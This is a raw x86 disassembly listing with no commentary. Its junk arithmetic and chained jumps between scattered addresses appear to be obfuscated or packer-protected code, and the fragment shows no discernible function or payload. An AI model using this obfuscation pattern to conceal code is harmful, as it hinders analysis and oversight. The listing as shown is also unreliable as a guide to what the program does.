jmp 0x49d790
call ebx
sub edx, edi
xor ecx, edx
neg ecx
xor ecx, 0x8b044ec5
add edx, edi
sub ecx, 0x8b052191
jmp 0x49c4d2
push 0x8075ecc7
or edx, 0x8b05b465
bswap esi
or edx, edi
shr ecx, 0x1e
add esi, edx
neg edx
and edi, 0x8b086075
shr edi, 0xf
jmp 0x49c13b
pop ebx
add edx, ecx
mov ecx, 0x8b09b40f
add ecx, 0x8b0a26ad
mov ecx, edx
inc ecx
or edi, edx
not edi
and edx, edi
or edx, 0x8b0cc8b5
mov edi, ecx
xor edx, esi
xchg edx, ecx
and edi, esi
xchg esi, edx
jmp 0x49d820
mov ebx, 0x3f4d7907
ror edi, 0x1c
shr edx, 0x14
neg edi
dec edi
sub esi, edx
bswap esi
ror ecx, 7
or esi, ecx
add ecx, esi
or esi, edx
mov edi, ecx
or edi, edx
jmp 0x49c18b
call fcn.0049d850
inc ecx
shr ecx, 0x1e
neg ecx
or esi, edi
xchg ecx, edi
bswap edi
ror esi, 0x1f
sub ecx, edi
jmp 0x49b0c2
push 0x807c379f
add ecx, esi
not edi
xchg ecx, esi
sub ecx, edi
jmp 0x49d053
push 0x8059479d
add edi, ecx
add edx, edi
ror ecx, 8
sub ecx, 0x8b2f8ab3
rol esi, 0xf
mov edi, 0x8b3060c5
add esi, edi
add edx, 0x8b3138dd
jmp 0x49ad6e
push 0x8060dab5
shr edi, 0x10
sub edx, esi
sub edx, 0x8bd246b3
mov ecx, edi
not edi
bswap esi
shl edi, 3
xor esi, 0x8bd47cb7
jmp 0x49ae03
pop ebx
mov edx, esi
add edx, ecx
or edi, edx
xchg edi, esi
and edi, edx
mov ecx, edi
or edi, ecx
and edx, esi
jmp 0x49cf3d
pop ebx
bswap edi
xor edi, edx
xor esi, edi
or edi, edx
jmp 0x49ba2c
pop ebx
sub edi, esi
or ecx, esi
xor edx, edi
bswap ecx
xchg esi, edx
mov edx, esi
xchg edi, edx
xchg esi, edi
add edx, ecx
and ecx, esi
sub edx, edi
xor esi, edx
jmp 0x49ae63
push 0x805d2ded
and edi, esi
sub edi, edx
or ecx, edi
and edi, esi
rol edi, 0x14
xor ecx, edi
inc edi
or edx, edi
not edi
xor ecx, esi
and edi, esi
and edx, edi
xor esi, edi
add esi, ecx
jmp 0x49bd70
push 0x80790dd1
mov edi, edx
and edi, 0x8c0a47e9
sub esi, ecx
sub edi, ecx
add edi, edx
sub esi, edx
and ecx, edx
and ecx, edi
rol esi, 0xd
sub ecx, edi
neg edx
inc esi
jmp 0x49cdb0